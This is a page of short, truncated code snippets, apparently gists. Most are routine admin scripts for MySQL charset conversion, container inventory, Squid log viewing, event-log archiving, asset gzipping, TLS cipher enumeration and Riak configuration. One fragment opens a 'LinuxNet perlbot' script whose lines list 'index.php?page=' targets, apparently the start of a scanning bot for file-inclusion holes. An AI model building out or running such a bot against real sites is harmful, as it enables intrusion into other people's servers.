This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Convert old latin1 DB to a new UTF8 one: | |
DBS="db1 db2" | |
for dbname in $DBS | |
do | |
mysqldump "${dbname}" > "${dbname}"latin1.sql | |
cat "${dbname}"latin1.sql | sed "s#CHARSET=latin1#CHARSET=utf8#" | iconv -f iso8859-1 -t utf8 > "${dbname}"utf8.sql | |
done | |
==== | |
Change in /etc/mysql/my.cnf: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
seqid=0 | |
for i in `vzlist -o ctid -H` | |
do | |
((sequid++)) | |
vzctl exec $i "echo \"$sequid \`hostname -f\` \`lsb_release -a 2>/dev/null | grep Description | sed -r 's#.*:[ \t]+##g'\` \`cat /proc/cpuinfo | grep 'physical id' | uniq | wc -l\` CPU; \`free -h | grep Mem | awk '{print \$2}'\` RAM; \`df -hT | grep '/\$' | awk '{print \$3}'\` HDD \`ip -o -4 a s | grep brd | sed -r 's#.* ([0-9\.]{7,})/.*#\1#' | tr -s '\n' ' '\` \`netstat -tlpn | grep '^tcp\|^udp' | cut -d/ -f2 | sort -u | tr -s '\n' ' ' | sed 's#zabbix_agentd ##; s#exim4 ##; s#postgres#PostgreSQL#; s#config.ru ##; s#master#Postfix#; s#apache#Apache#; s#mysqld#MySQL#'\`\"" | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
tail /var/log/squid/access.log -f -n999 | perl -p -e 's/^([0-9\.]*)/"[".localtime($1)."]"/e' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
color=`echo -e '\e[1;33m'` | |
rst=`echo -e '\e[0m'` | |
tail /var/log/squid/access.log -f -n999 | perl -p -e 's/^([0-9\.]*)/"[".localtime($1)."]"/e' | sed -e "s#.*_HIT/.*#${color}&${rst}#" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$adir = "L:\ARCHIVE" | |
$subdir = get-date -uformat "%Y.%m.%d" | |
New-Item -ItemType directory -Path $adir\$subdir | out-null | |
$elogs = (wevtutil el) | |
foreach ($i in $elogs) | |
{ | |
$in = $i -replace " ","_" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for ext in css js | |
do | |
find /var/www -type f -name "*.${ext}" | while read f | |
do | |
gzip -c9 "$f" > "$f.gz.new" | |
diff "$f.gz.new" "$f.gz" 2>/dev/null && rm -f "$f.gz.new" || mv -vf "$f.gz.new" "$f.gz" | |
done | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# OpenSSL requires the port number. | |
SERVER=1.1.1.1:443 | |
DELAY=1 | |
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g') | |
# ========= main ============= | |
echo Obtaining cipher list from $(openssl version). |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# ------------------------------------------------------------- # | |
# LinuxNet perlbot # | |
# ------------------------------------------------------------- # | |
my $processo = '-'; | |
my @titi = ("index.php?page=","main.php?page="); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%% Riak KV config | |
{riak_kv, [ | |
%% Storage_backend specifies the Erlang module defining the storage | |
%% mechanism that will be used on this node. | |
%% {storage_backend, riak_kv_bitcask_backend}, | |
{storage_backend, riak_kv_multi_backend}, | |
{multi_backend_default, <<"eleveldb_mult">>}, | |
{multi_backend, [ | |
{<<"eleveldb_mult">>, riak_kv_eleveldb_backend, [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sleep 1s | |
curl -XPUT http://127.0.0.1:8098/buckets/memcache_15min/props \ | |
-H "Content-Type: application/json" \ | |
-d '{"props":{"backend":"memcache_15min"}}' | |
curl -XPUT http://127.0.0.1:8098/buckets/memcache_30min/props \ | |
-H "Content-Type: application/json" \ | |
-d '{"props":{"backend":"memcache_30min"}}' |